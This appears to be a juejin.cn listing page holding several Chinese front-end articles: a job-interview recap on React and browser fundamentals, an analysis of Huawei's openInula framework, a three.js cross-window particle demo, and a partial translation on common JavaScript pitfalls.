要求用 vue 或者 react 实现一个倒计时抢券组件,页面加载时从 10s 开始倒计时,倒计时结束之后点击按钮请求接口进行抢券,同时更新文案等等功能。因为我对 react 比较熟悉一点,所以这里就选择了 react。


涉及到的知识点有 hook 中对 setTimeout 的封装、异步请求处理、状态更新CSS基本功 的考察等等……


具体实现这里也不贴了,写了一堆自定义 hook,因为平时也在参与 ahooks 的维护工作,ahooks 源码背的滚瓜烂熟,所以直接搬过来了,这道题整体感觉没啥难度,算是比较顺利的。


笔试题整个过程中唯一不顺利的是在线编辑器没有类似 vscode 这样的 自动补全 功能,不管是变量还是保留字,很多单词想不起来怎么拼写,就很尴尬,英文太差是硬伤 :(


笔试过程最后中出现了一点小插曲,因为笔试有时间限制,需要在规定的时间内完成,但是倒计时还没结束,不知道为什么就自动交卷了,不过那个时候已经写的差不多了,功能全部实现了,还剩下卡片的样式没完成,css 还需要完善一下,于是就在 Boss 上跟对方解释了一下,说明了情况。


过了几分钟,对面直接回复笔试过了,然后约了面试。


一面:



  • 自我介绍


    这里大概说了两分钟,介绍了过往工作经历,做过的业务以及技术栈。


  • 七层网络模型、和 DNS 啥的


    计网这方面属于知识盲区了,听到这个问题两眼一黑,思索了一会儿,直接说回答不上来。


  • 然后问了一些 host 相关的东西



    • 很遗憾也没回答上来,尴尬。对方问我是不是计算机专业的,我坦诚的告诉对方是建筑工程。



  • React 代码层的优化可以说一下么?



    • 大概说了 class 组件和 function 组件两种情况,核心是通过减少渲染次数达到优化目的,具体的优化手段有 PureComponentshouldComponentUpdateReact.memoReact.useMemoReact.useCallbackReact.useRef 等等。



  • 说一下 useMemouseCallback 有什么区别



    • 很基础的问题,这里就不展开说了。



  • 说一下 useEffectuseLayoutEffect 有什么区别



    • 很基础的问题,这里就不展开说了。



  • 问了一下 useEffect 对应在 class 中都生命周期怎么写?



    • 很基础的问题,这里就不展开说了。



  • 如果在 if 里面写 useEffect 会有什么表现?



    • 开始没听清楚,误解对方的意思了,以为他说的是在 useEffect 里面写 if 语句,所以胡扯了一堆,后面对方纠正了一下,我才意识到对方在问什么,然后回答了在条件语句里面写 useEffect 控制台会出现报错,因为 hook 的规则就是不能在条件语句或者循环语句里面写,这点在 react 官方文档里面也有提到。



  • 说一下 React 的 Fiber 架构是什么



    • 这里说了一下 Fiber 本质上就是一个对象,是 React 16.8 出现的东西,主要有三层含义:



      1. 作为架构来说,在旧的架构中,Reconciler(协调器)采用递归的方式执行,无法中断,节点数据保存在递归的调用栈中,被称为 Stack Reconciler,stack 就是调用栈;在新的架构中,Reconciler(协调器)是基于 fiber 实现的,节点数据保存在 fiber 中,所以被称为 fiber Reconciler。

      2. 作为静态数据结构来说,每个 fiber 对应一个组件,保存了这个组件的类型对应的 dom 节点信息,这个时候,fiber 节点就是我们所说的虚拟 DOM。

      3. 作为动态工作单元来说,fiber 节点保存了该节点需要更新的状态,以及需要执行的副作用。


      (这里可以参考卡颂老师的《自顶向下学 React 源码》课程)




  • 前面提到,在 if 语句里面写 hook 会报错,你可以用 fiber 架构来解释一下吗?



    • 这里说了一下,因为 fiber 是一个对象,多个 fiber 之间是用链表连接起来的,有一个固定的顺序…… 其实后面还有一些没说完,然后对方听到这里直接打断了,告诉我 OK,这个问题直接过了。



  • 个人方面有什么规划吗?



    • 主要有两个方面,一个是计算机基础需要补补,前面也提到,我不是科班毕业的,计算机底层这方面比起其他人还是比较欠缺的,尤其是计网,另一方面就是英文水平有待提高,也会在将来持续学习。



  • 对未来的技术上有什么规划呢?



    • 主要从业务转型工程化,比如做一些工具链什么的,构建、打包、部署、监控几个大的方向,node 相关的,这些都是我感兴趣的方向,未来都可以去探索,当然了现在也慢慢的在做这些事情,这里顺便提了一嘴,antd 的 script 文件夹里面的文件是我迁移到 esm + ts 的,其中一些逻辑也有重构过,比如收集 css token、生成 contributors 列表、预发布前的一些检查等等…… 所以对 node 这块也有一些了解。



  • 能不能从技术的角度讲一下你工作中负责业务的复杂度?



    • 因为前两份工作中做的是传统的 B 端项目和 C 端项目,并没有什么可以深挖的技术难点,所以这里只说了第三份工作负责的项目,这是一个协同文档,既不算 B 端,也不算 C 端,这是一款企业级的多人协作数据平台,竞品有腾讯文档、飞书文档、语雀、WPS、维卡表格等等。


      协同文档在前端的难点主要有两个方面:



      1. 实时协同编辑的处理:当两个人同时进入一个单元格编辑内容,如果保证两个人看到的视图是同步的?那么这个时候就要提到冲突处理了,冲突处理的解决方案其实已经相对成熟,包括:



        • 编辑锁:当有人在编辑某个文档时,系统会将这个单元格锁定,避免其他人同时编辑,这种方法实现方式最简单,但也会直接影响用户体验。

        • diff-patch:基于 Git 等版本管理类似的思想,对内容进行差异对比、合并等操作,也可以像 Git 那样,在冲突出现时交给用户处理。

        • 最终一致性实现:包括 Operational Transformation(OT)、 Conflict-free replicated data type(CRDT,称为无冲突可复制数据类型)。



      2. 性能问题



        • 众所周知,互联网一线大厂的协同文档工具都是基于 canvas 实现,并且有一套自己的 canvas 渲染引擎,但是我们没有,毕竟团队规模没法跟大厂比,这个项目前端就 2 个人,所以只能用 dom 堆起来(另一个同事已经跑路,现在就剩下我一个人了)。这导致页面卡顿问题非常严重,即使做了虚拟滚动,但是也没有达到很好的优化效果。老板的要求是做到十万量级的数据,但是实际上几千行就非常卡了,根本原因是数据量太大(相当于一张很大的 Excel 表格,里面的每一个单元格都是一个富文本编辑器),渲染任务多,导致内存开销太大。目前没有很好的解决方案,如果需要彻底解决性能问题,那么就需要考虑用 canvas 重写,但是这个基本上不太现实。

        • 因为卡顿的问题,暴露出来另一个问题,状态更新时,视图同步缓慢,所以这时候不得不提到另一个优化策略:乐观更新。乐观更新的思想是,当用户进行交互的时候,先更新视图,然后再向服务端发送请求,如果请求成功,那么什么都不用管,如果请求失败,那么就回滚视图。这样做的好处是,用户体验会好很多,在一些强交互的场景,不会阻塞用户操作,比如抖音的点赞就是这样做的。但是也会带来一些问题,比如:如果用户在编辑某个单元格时,另一个用户也在编辑这个单元格,那么就会出现冲突,这个时候就需要用到前面提到的冲突处理方案了。







  • 可以讲一下你在工作中技术上的建设吗?



    • 这里讲了一下对 hooks 仓库的建设,封装了 100 多个功能 hook业务 hook,把不变的部分隐藏起来,把变化的部分暴露出去,在业务中无脑传参即可,让业务开发更加简单,同时也提高了代码的复用性。然后讲了一下数据流重构之类的 balabala……



  • 你有什么想问我的吗?



    • 问了一下面试结果大概多久能反馈给我,对方说两三天左右,然后就结束了。





结束之后不到 20 分钟,对方就在 Boss 上回复我说面试过了,然后约了二面。



二面:



  • 自我介绍



    • 跟上一轮一样,大概说了两分钟,介绍了过往工作经历,做过的业务以及技术栈。



  • 在 js 中原型链是一个很重要的概念,你能介绍一下它吗?



    • 要介绍原型链,首先要介绍一下原型,原型是什么…… 这块是纯八股,懒得打字了,直接省略吧。



  • object 的原型指向谁?



    • 回答了 null。(我也不知道对不对,瞎说的)



  • 能说一下原型链的查找过程吗?



    • 磕磕绊绊背了一段八股文,这里省略吧。



  • node 的内存管理跟垃圾回收机制有了解过吗?



    • 暗暗窃喜,这个问题问到点子上了,因为两年前被问到过,所以当时专门写了一篇文章,虽然已经过去两年了,但还是背的滚瓜烂熟:

    • 首先分两种情况:V8 将内存分成 新生代空间老生代空间



      • 新生代空间: 用于存活较短的对象



        • 又分成两个空间: from 空间 与 to 空间

        • Scavenge GC 算法: 当 from 空间被占满时,启动 GC 算法



          • 存活的对象从 from space 转移到 to space

          • 清空 from space

          • from space 与 to space 互换

          • 完成一次新生代 GC





      • 老生代空间: 用于存活时间较长的对象



        • 新生代空间 转移到 老生代空间 的条件(这个过程称为对象晋升



          • 经历过一次以上 Scavenge GC 的对象

          • 当 to space 体积超过 25%



        • 标记清除算法:标记存活的对象,未被标记的则被释放



          • 增量标记:小模块标记,在代码执行间隙执,GC 会影响性能

          • 并发标记:不阻塞 js 执行









  • js 中的基础类型和对象类型有什么不一样?



    • 基础类型存储在栈中,对象类型存储在堆中。



  • 看你简历上是用 React,你能简单的介绍一下 hooks 吗?



    • 本质上就是一个纯函数,大概介绍了一下 hooks 的优点,以及 hooks 的使用规则等等。



  • 简单说一下 useEffect 的用法:



    • useEffect 可以代替 class 中的一些生命周期,讲了一下大概用法,然后讲了一下 useEffect 的执行时机,以及 deps 的作用。



  • 说一下 useEffect 的返回值用来做什么?



    • 返回一个函数,用来做清除副作用的工作,比如:清除定时器清除事件监听等等。



  • 你知道 useEffect 第二个参数内部是怎么比较的吗?



    • 说了一下内部是浅比较,源码中用 for 循环配合 Object.is 实现。(感觉这个问题就是在考察有没有读过 React 源码)



  • 前端的话可能跟网络打交道比较多,网络你了解多少呢?



    • 这里直接坦诚的说了一下,网络是我的弱项,前面一面也问到了网络七层模型,没回答出来。



  • 那你回去了解过七层模型吗?我现在再问你一遍,你能回答出来吗?



    • 磕磕绊绊回答出来了。



  • 追问:http 是在哪一层实现的?



    • 应用层。



  • 说一下 getpost 有什么区别?



    • 两眼一黑,脑子一片空白,突然不知道说什么了,挤了半天挤出来一句:get 大多数情况下用来查询,post 大多数情况下用来提交数据。get 的入参拼在 url 上,post 请求的入参在 body 里面。面试官问我还有其它吗?我说想不起来了……



  • 说一下浏览器输入 url 到页面加载的过程:



    • 输入网址发生以下步骤:



      1. 通过 DNS 解析域名的实际 IP 地址

      2. 检查浏览器是否有缓存,命中则直接取本地磁盘的 html,如果没有命中强缓存,则会向服务器发起请求(先进行下一步的 TCP 连接)

      3. 强缓存协商缓存都没有命中,则返回请求结果

      4. 然后与 WEB 服务器通过三次握手建立 TCP 连接。期间会判断一下,若协议是 https 则会做加密,如果不是,则会跳过这一步

      5. 加密完成之后,浏览器发送请求获取页面 html,服务器响应 html,这里的服务器可能是 server、也可能是 cdn

      6. 接下来是浏览器解析 HTML,开始渲染页面



    • 顺便说了渲染页面的过程:



      1. 浏览器会将 HTML 解析成一个 DOM 树,DOM 树的构建过程是一个深度遍历过程:当前节点的所有子节点都构建好后才会去构建当前节点的下一个兄弟节点。

      2. 将 CSS 解析成 CSS Rule Tree(css 规则树)。

      3. 解析完成后,浏览器引擎会根据 DOM 树CSS 规则树来构造 Render Tree。(注意:Render Tree 渲染树并不等同于 DOM 树,因为一些像 Headerdisplay:none 的东西就没必要放在渲染树中了。)

      4. 有了 Render Tree,浏览器已经能知道网页中有哪些节点、各个节点的 CSS 定义以及他们的从属关系。下一步进行 layout,进入布局处理阶段,即计算出每个节点在屏幕中的位置。

      5. 最后一个步骤就是绘制,即遍历 RenderTree,层绘制每个节点。根据计算好的信息绘制整个页面。



    • 渲染完成之后,开始执行其它任务:



      1. dom 操作

      2. ajax 发起的 http 网络请求等等……

      3. 浏览器处理事件循环等异步逻辑等等……





  • 菜单左中右布局,两边定宽,中间自适应,说一下有几种实现方式



    • 比较经典的面试题,说了 flexfloat 两种方式。



  • 项目难点



    • 和一面一样,说了协同文档的两大难点,这里就不重复了。



  • 你有什么想问我的吗?



    • 和一面一样,问了一下面试结果大概多久能反馈给我,对方说两三天左右,然后就结束了。



  • 最后问了期望薪资什么的,然后就结束了。


二面结束之后,大概过了几个小时,在 Boss 上跟对方说了一声,如果没过的话也麻烦跟我说一下,然后这时候,对方在 Boss 上问我,第一学历是不是专科?我说是的,感觉到不太妙的样子,


然后又过了一会儿,对方说定级应该不会高,他后续看一下面试官的反馈如何……


然后又追问我,换工作的核心诉求是涨薪还是能力的提升,这里我回答的比较委婉,其实两个都想要 QAQ


今天已经是第二天了,目前没有下文,看起来二面是过了,但是因为学历不够,中止了三面的流程,基本上是失败了,我也不会报有什么希望了,所以写个面经记录一下。


作者:三年没洗澡
来源:juejin.cn/post/7239715208792342584
收起阅读 »

华为自研的前端框架是什么样的?

web
大家好,我卡颂。 最近,华为开源了一款前端框架 —— openInula。根据官网提供的信息,这款框架有3大核心能力: 响应式API 兼容ReactAPI 官方提供6大核心组件 并且,在官方宣传视频里提到 —— 这是款大模型驱动的智能框架。 ...
继续阅读 »

大家好,我卡颂。


最近,华为开源了一款前端框架 —— openInula。根据官网提供的信息,这款框架有3大核心能力:



  1. 响应式API




  1. 兼容ReactAPI




  1. 官方提供6大核心组件



并且,在官方宣传视频里提到 —— 这是款大模型驱动智能框架


那么,这究竟是款什么样的前端框架呢?我在第一时间体验了Demo,阅读了框架源码,并采访了框架核心开发者。本文将包括两部分内容:



  1. 对框架核心开发者陈超涛的采访

  2. 卡颂作为一个老前端,阅读框架源码后的一些分析

采访核心开发者


开发Inula的初衷是?


回答:


华为内部对于业务中强依赖的软件,考虑到竞争力,通常会开发一个内部使用的版本。


Inula在华为内部,从立项到现在两年多,基本替换了公司内绝大部分React项目。



卡颂补充背景知识:Inula兼容React 95% API,最初开发的目的就是为了替换华为内部使用的React。为了方便理解,你可以将Inula类比于华为内部的React



为什么开源?


回答:


华为对于自研软件的公司策略,只要是公司内部做的,觉得还ok的自研都会开源。



接下来的提问涉及到官网宣传的内容



宣传片提到的大模型赋能、智能框架是什么意思?


回答:


这主要是Inula团队与其他外部团队在AI低代码方向的一些探索。比如:



  1. 团队与上海交大的一个团队在探索大模型赋能chrome调试业务代码方面有些合作,目的是为了自动定位问题

  2. 团队与华为内部的大模型编辑器团队合作,探索框架与编辑器定制可能性


以上还都属于探索阶段。


Inula未来有明确的发展方向么?


回答:


团队正在探索引入响应式API,相比于React的虚拟DOM方案,响应式API能够提高运行时性能。24年可能会从Vue composition API中寻求些借鉴。


新的发展方向会在项目仓库以RFC的形式展开。



补充:RFCRequest for Comments的缩写。这是一种协作模式,通常用于提出新的特性、规范或者改变现有的一些规则。RFC的目的是收集不同的意见和反馈,以便在最终确定一个决策前,考虑尽可能多的观点和影响。



为什么要自研核心组件而不用社区成熟方案?



卡颂补充:所谓核心组件,是指状态管理、路由、国际化、请求库、脚手架这样的框架生态相关的库。既然Inula兼容React,为什么不直接用React生态的成熟产品,而要自研呢?毕竟,这些库是没有软件风险的。




回答:


主要还是丰富Inula生态,根据社区优秀的库总结一套Inula官方推荐的最佳实践。至于开发者怎么选择,我们并不强求。


卡颂的分析


以上是我对Inula核心开发者陈超涛的采访。下面是我看了Inula源码后的一些分析。


要分析一款前端框架,最重要的是明白他是如何更新视图的?这里我选择了两种触发时机来分析:



  1. 首次渲染


触发的方式类似如下:


Inula.render(<App />, document.getElementById("root"));


  1. 执行useState的更新方法触发更新


触发的方式类似如下:


function App() {
const [num, update] = useState(0);
// 触发更新
update(xxx);
// ...
}

顺着调用栈往下看,他们都会执行两步操作:



  1. 创建名为update的数据结构

  2. 执行launchUpdateFromVNode方法


比如这是首屏渲染时:



这是useState更新方法执行时:



launchUpdateFromVNode方法会向上遍历到根结点(源码中遍历的节点叫VNode),再从根节点开始遍历树。由此可以判断,Inula的更新机制与React类似。


所有主流框架在触发更新后,都不会立刻执行更新,中间还有个调度流程。这个流程的存在是为了解决:



  1. 哪些更新应该被优先执行?

  2. 是否有些更新是冗余的,需要合并在一块执行?


Vue中,更新会在微任务中被调度并统一执行,在React中,同时存在微任务(promise)与宏任务(MessageChannel)的调度模式。


Inula中,存在宏任务的调度模式 —— 当宿主环境支持MessageChannel时会使用它,不支持则使用setTimeout调度:



同时,与这套调度机制配套的还有个简单的优先级算法 —— 存在两种优先级,其中:



  • ImmediatePriority:对应正常情况触发的更新

  • NormalPriority:对应useEffect回调


每个更新会根据更新的ID(一个自增的数字)+ 优先级对应的数字 作为优先级队列中的排序依据,按顺序执行。


假设先后触发2次更新,优先级分别是ImmediatePriorityNormalPriority,那么他们的排序依据分别是:



  1. 100(假设当前ID到100了)- 1(ImmediatePriority对应-1) = 99

  2. 101(100自增到101)+ 10000(NormalPriority对应10000)= 10101


99 < 10101,所以前者会先执行。


需要注意的是,Inula中对更新优先级的控制粒度没有React并发更新细,比如对于如下代码:


useEffect(function cb() {
update(xxx);
update(yyy);
})

React中,控制的是每个update对应优先级。在Inula中,控制的是cb回调函数与其他更新所在回调函数之间的执行顺序。


这意味着本质来说,Inula中触发的所有更新都是同步更新,不存在React并发更新中高优先级更新打断低优先级更新的情况。


这也解释了为什么Inula兼容 95% 的React API,剩下 5% 就是并发更新相关API(比如useTransitionuseDeferredvalue)。


现在我们已经知道Inula的更新方式类似React,那么官网提到的响应式API该如何实现呢?这里存在三条路径:



  1. 一套外挂的响应式系统,类似ReactMobx的关系

  2. 内部同时存在两套更新系统(当前一套,响应式一套),调用不同的API使用不同的系统

  3. 重构内部系统为响应式系统,通过编译手段,使所有API(包括当前的React API与未来的类 Vue Composition API)都走这套系统



其中第一条路径比较简单,第二条路径应该还没框架使用,第三条路径想象空间最大。不知道Inula未来会如何发展。


总结


当前,Inula是一款类React的框架,功能上可以类比为React并发更新之前的版本


下一步,Inula会引入响应式API,目的是提高渲染效率。


对于未来的发展,主要围绕在:



  • 探索类 Vue Composition API的可能性

  • 迭代官方核心生态库


对于华为出的这款前端框架,你怎么看?


作者:魔术师卡颂
来源:juejin.cn/post/7307451255432249354
收起阅读 »

终于把国外大佬的跨窗口量子纠缠粒子效果给肝出来

web
前言 上篇文章 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果反响很大,但是仅仅只是实现了跨窗口动画效果,严格说就没有动画,还有些bug和遗憾,尤其是粒子效果,得入three.js坑,怎么办?跳啊! 硬肝了两天,实在肝不动了,看效果吧。 第一版v2效果,大...
继续阅读 »

前言


上篇文章 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果反响很大,但是仅仅只是实现了跨窗口动画效果,严格说就没有动画,还有些bug和遗憾,尤其是粒子效果,得入three.js坑,怎么办?跳啊!


硬肝了两天,实在肝不动了,看效果吧。


第一版v2效果,大粒子,粒子数量较少:
v2 (1).gif


第二版v2.1,小粒子,粒子数量多:
v2.1 (1).gif


three.js


官方文档:threejs.org/,中文文档:three.js docs


我第一次接触three.js,之前只是听说过,比如能弄车展啥的,感觉很厉害,就想借此机会学习下,跳进坑里才发现,这坑也太深了。随便找个教程,里面各种名词就给我弄吐了。


先按文档 three.js docs 画个立方体,跑起来了,但是我想要球体啊,还有粒子围着中心转,这么多api学不起啊,搜教程也是杂乱无章,无从学起,咋整?找现成的啊!


看到官网有很多现成的例子,找了一个相近的:threejs.org/examples/#w…,截了个静态图长这样:
image.png


找源码:three.js/examples/we…,copy到本地,代码就200行,用到的three api就几个,搜下api大概了解代码各部分的功能,基本都能看懂,然后删了多余功能,一个粒子绕球中心旋转功能就出来了。


现在关于粒子移动、渲染、球体旋转缩放等变化api都已经基本搞懂了,然后就是痛苦折磨的计算调试了,不想再回忆了。


动画效果的移动都是靠循环对象、计算坐标,改变粒子的position来实现的,感觉应该会有更好的现成api能简化这个过程,而且有缓冲、阻尼效果等。如果有更好的例子,欢迎大佬分享。


总结下用到的api吧,就几个:


构造方法



  1. THREE.PerspectiveCamera:透视投影相机,3D场景的渲染中使用得最普遍的投影模式。

  2. THREE.SceneTHREE.WebGLRenderer:场景和渲染器。

  3. THREE.TextureLoader:创建纹理,用于加载粒子贴图。

  4. THREE.SpriteMaterial:创建精灵材质。

  5. THREE.Sprite:创建精灵,用于表示粒子。

  6. THREE.Gr0up:创建对象容器,用于整体控制多个粒子,达到旋转等效果。


属性



  1. .position.x\y\z:坐标位移;

  2. .rotation.x\y\z:粒子绕球体旋转;

  3. .position.multiplyScalar(radius):对三个向量x\y\z上分别乘以给定标量radius,用于设置粒子距球体中心距离;

  4. .scale.set:设置粒子自身的缩放

  5. .visible:控制Gr0up或粒子显隐;


难点


THREE.PerspectiveCamera透视投影相机下,由于是模拟人的眼睛从远处看的,所以会导致坐标上的单位跟html里的像素单位是不一致的,有一定的比例。但是判断浏览器窗口位置都是像素单位的,所以得算出这个比例、或者找到一种办法让两个单位是一致的。在外网搜到一个方案:forum.babylonjs.com/t/how-to-se…


const perspective = 800;
const fov = (180 * (2 * Math.atan(window.innerHeight / 2 / perspective))) / Math.PI;
const camera = new THREE.PerspectiveCamera(fov, window.innerWidth / window.innerHeight, 1, 1000);
camera.position.set(0, 0, perspective);

这样设置相机后,俩个单位就是一致的。至于原理。。。看见Math.atan就头大,过!


BroadcastChannel


BroadcastChannel的api很简单,在一个窗口中postMessage,另一个窗口就会通过message事件接受到了。


const channel = new BroadcastChannel('editor_channel');
channel.postMessage({ aa: '123' });
channel.addEventListener('message', ({ data }) => {
console.log(data);
});

在此例逻辑是,进页面初始化时、或者坐标改变时,需要把当前窗口坐标postMessage发送到别的窗口中,然后再把所有窗体坐标数据都存在js全局变量里使用。


但是这里有个问题,如果刷新其中一个窗口时,没办法立即获取别的窗口数据,因为别的窗口只有在坐标变化时才会发送数据(为了提高效率,不会在requestAnimationFrame里一直发数据),这样就得主动postMessage一个标记到别的窗口,然后别的窗口再把自己的数据postMessage回来,是个异步过程,有些繁琐。


使用上不比LocalStorage简单多少,不过BroadcastChannel确实可以解决LocalStorage的全局影响和缓存不自动清空问题。有兴趣可以自己实现下。(可以重写storage.js里方法)


优化窗口数据监听与更新



  • 注册window storage事件,监听storage变化时(当其它窗口位置变化时),判断最新窗口总数,当数量变化时,在当前窗口重新实例化所有球体及粒子对象。

  • 注册window resize事件,更新摄像机比例和渲染器size。

  • 将所有窗口数据保存在js全局变量里,用于在requestAnimationFrame中读取渲染动画,并且只在需要时更新:

    • 其它窗口位置变化时(通过window storage事件);

    • requestAnimationFrame中判断当前窗口位置变化时(比较全局变量与当前window位置),更新全局变量和storage;




通过以上逻辑优化,可以有效提高渲染速度,减少代码重复执行,减小客户端压力。


待改进



  1. three.js实现上:学习的还是太浅了,有些动画效果应该会有更好的实现方式,希望有大佬能指点下。

  2. three.js效果:跟国外原大佬比不了,他那是粒子,我这个就是个球。

  3. 拖动窗口位置时的球体移动阻尼效果,这个实现了下,有了个效果,但是卡顿感明显,不顺畅,而且在连线动画下效果更差。

  4. 当改变窗口大小时,球体大小会随着窗口大小变化,想固定大小没找到解决方法,然后计算球体位置也没有考虑窗体大小,所以现在多窗口要求窗口大小必须是一样的。

  5. 球体之间的连线粒子移动效果不佳,特别在窗口移动时,还需优化算法。


总结


总结下相比之前的例子 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果,有以下提升:



  1. 引入three.js,画出了球体、粒子旋转动画,多窗口球体,球体间粒子连线动画效果。

  2. BroadcastChannel代替LocalStorage。(技术选型没选上,未实现)

  3. 支持多个窗口(理论上没有限制),并且窗口重叠时不会有连线缺失。


跨窗口通信、存储窗口坐标、在每个窗口画出所有球体和连线,这个机制流程已经很成熟了,没有太大的优化提升空间了,所以要实现国外大佬视频效果,就只剩three.js了,实在是学不动了,水太深。


源码已上传至GitHub,代码里有详细注释,希望能有所帮助:github.com/markz-demo/…


做了两版效果,可以通过代码里注释查看效果,README.md 中有说明。


Demo:markz-demo.github.io/mark-cross-…


作者:Mark大熊
来源:juejin.cn/post/7307057492059471899
收起阅读 »

JS 爱好者的十大反向教学(译)

web
大家好,这里是大家的林语冰。 免责声明 本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face。 今时今日,JS(JavaScript)几乎...
继续阅读 »

大家好,这里是大家的林语冰。



免责声明


本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face



今时今日,JS(JavaScript)几乎是所有现代 Web App 的核心。这就是为什么 JS 出问题,以及找到导致这些问题的错误,是 Web 开发者的最前线。


用于 SPA(单页应用程序)开发、图形和动画以及服务器端 JS 平台的给力的 JS 库和框架不足为奇。JS 在 Web App 开发领域早已无处不在,因此是一项越来越需要加点的技能树。


乍一看,JS 可能很简单。事实上,对于任何有经验的软件开发者而言,哪怕它们是 JS 初学者,将基本的 JS 功能构建到网页中也是举手之劳。


虽然但是,这种语言比大家起初认为的要更微妙、给力和复杂。事实上,一大坨 JS 的微妙之处可能导致一大坨常见问题,无法正常工作 —— 我们此处会讨论其中的 10 个问题。在成为 JS 大神的过程中,了解并避免这些问题十分重要


问题 1:this 引用失真


JS 开发者对 JS 的 this 关键字不乏困惑。


多年来,随着 JS 编码技术和设计模式越来越复杂,回调和闭包中自引用作用域的延伸也同比增加,此乃导致 JS “this 混淆”问题的“万恶之源”。


请瞄一眼下述代码片段:


const Game = function () {
this.clearLocalStorage = function () {
console.log('Clearing local storage...')
}
this.clearBoard = function () {
console.log('Clearing board...')
}
}

Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(function () {
this.clearBoard() // this 是什么鬼物?
}, 0)
}

const myGame = new Game()
myGame.restart()

执行上述代码会导致以下错误:


未捕获的类型错误: this.clearBoard 不是函数

为什么呢?这与上下文有关。出现该错误的原因是,当您执行 setTimeout() 时,您实际是在执行 window.setTimeout()。因此,传递给 setTimeout() 的匿名函数定义在 window 对象的上下文中,该对象没有 clearBoard() 方法。


一个传统的、兼容旧浏览器的技术方案是简单地将您的 this 引用保存在一个变量中,然后可以由闭包继承,举个栗子:


Game.prototype.restart = function () {
this.clearLocalStorage()
const self = this // 当 this 还是 this 的时候,保存 this 引用!
this.timer = setTimeout(function () {
self.clearBoard() // OK,我们可以知道 self 是什么了!
}, 0)
}

或者,在较新的浏览器中,您可以使用 bind() 方法传入正确的引用:


Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(this.reset.bind(this), 0) // 绑定 this
}

Game.prototype.reset = function () {
this.clearBoard() // OK,回退到正确 this 的上下文!
}

问题 2:认为存在块级作用域


JS 开发者之间混淆的“万恶之源”之一(因此也是 bug 的常见来源)是,假设 JS 为每个代码块创建新的作用域。尽管这在许多其他语言中是正确的,但在 JS 中却并非如此。举个栗子,请瞄一眼下述代码:


for (var i = 0; i < 10; i++) {
/* ... */
}
console.log(i) // 输出是什么鬼物?

如果您猜到调用 console.log() 会输出 undefined 或报错,那么恭喜您猜错了。信不信由你,它会输出 10。为什么呢?


在大多数其他语言中,上述代码会导致错误,因为变量 i 的“生命”(即作用域)将被限制在 for 区块中。虽然但是,在 JS 中,情况并非如此,即使在循环完成后,变量 i 仍保留在范围内,在退出 for 循环后保留其最终值。(此行为被称为变量提升。)


JS 对块级作用域的支持可通过 let 关键字获得。多年来,let 关键字一直受到浏览器和后端 JS 引擎(比如 Node.js)的广泛支持。如果这对您来说是新知识,那么值得花时间阅读作用域、原型等。


问题3:创建内存泄漏


如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免。它们有一大坨触发方式,因此我们只强调其中两种更常见的情况。


示例 1:失效对象的虚空引用


注意:此示例仅适用于旧版 JS 引擎,新型 JS 引擎具有足够机智的垃圾回收器(GC)来处理这种情况。


请瞄一眼下述代码:


var theThing = null
var replaceThing = function () {
var priorThing = theThing // 保留之前的东东
var unused = function () {
// unused 是唯一引用 priorThing 的地方,
// 但 unused 从未执行
if (priorThing) {
console.log('hi')
}
}
theThing = {
longStr: new Array(1000000).join('*'), // 创建一个 1MB 的对象
someMethod: function () {
console.log(someMessage)
}
}
}
setInterval(replaceThing, 1000) // 每秒执行一次 replaceThing

如果您运行上述代码并监视内存使用情况,就会发现严重的内存泄漏 —— 每秒有一整兆字节!即使是手动垃圾收集器也无济于事。所以看起来每次调用 replaceThing 时我们都在泄漏 longSte。但是为什么呢?



如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免



让我们更详细地检查一下:


每个 theThing 对象都包含自己的 1MB longStr 对象。每一秒,当我们调用 replaceThing 时,它都会保留 priorThing 中之前的 theThing 对象的引用。但我们仍然不认为这是一个问题,因为每次先前引用的 priorThing 都会被取消引用(当 priorThing 通过 priorThing = theThing; 重置时)。此外,它仅在 replaceThing 的主体中和 unused 函数中被引用,这实际上从未使用过。


因此,我们再次想知道为什么这里存在内存泄漏。


要了解发生了什么事,我们需要更好地理解 JS 的内部工作原理。闭包通常由链接到表示其词法作用域的字典风格对象(dictionary-style)的每个函数对象实现。如果 replaceThing 内部定义的两个函数实际使用了 priorThing,那么它们都得到相同的对象是很重要的,即使 priorThing 逐次赋值,两个函数也共享相同的词法环境。但是,一旦任何闭包使用了变量,它就会进入该作用域中所有闭包共享的词法环境中。而这个小小的细微差别就是导致这种粗糙的内存泄漏的原因。


示例 2:循环引用


请瞄一眼下述代码片段:


function addClickHandler(element) {
element.click = function onClick(e) {
alert('Clicked the ' + element.nodeName)
}
}

此处,onClick 有一个闭包,它保留了 element 的引用(通过 element.nodeName)。通过同时将 onClick 赋值给 element.click,就创建了循环引用,即 element -> onClick -> element -> onClick -> element ......


有趣的是,即使 element 从 DOM 中删除,上述循环自引用也会阻止 elementonClick 被回收,从而造成内存泄漏。


避免内存泄漏:要点


JS 的内存管理(尤其是它的垃圾回收)很大程度上基于对象可达性(reachability)的概念。


假定以下对象是可达的,称为“根”:



  • 从当前调用堆栈中的任意位置引用的对象(即,当前正在执行的函数中的所有局部变量和参数,以及闭包作用域中的所有变量)

  • 所有全局变量


只要对象可以通过引用或引用链从任何根访问,那么它们至少会保留在内存中。


浏览器中有一个垃圾回收器,用于清理不可达对象占用的内存;换而言之,当且仅当 GC 认为对象不可达时,才会从内存中删除对象。不幸的是,很容易得到已失效的“僵尸”对象,这些对象不再使用,但 GC 仍然认为它们可达。


问题 4:混淆相等性


JS 的便捷性之一是,它会自动将布尔上下文中引用的任何值强制转换为布尔值。但在某些情况下,这可能既香又臭。


举个栗子,对于一大坨 JS 开发者而言,下列表达式很头大:


// 求值结果均为 true!
console.log(false == '0');
console.log(null == undefined);
console.log(" \t\r\n" == 0);
console.log('' == 0);

// 这些也是 true!
if ({}) // ...
if ([]) // ...

关于最后两个,尽管是空的(这可能会让您相信它们求值为 false),但 {}[] 实际上都是对象,并且 JS 中任何对象都将被强制转换为 true,这与 ECMA-262 规范一致。


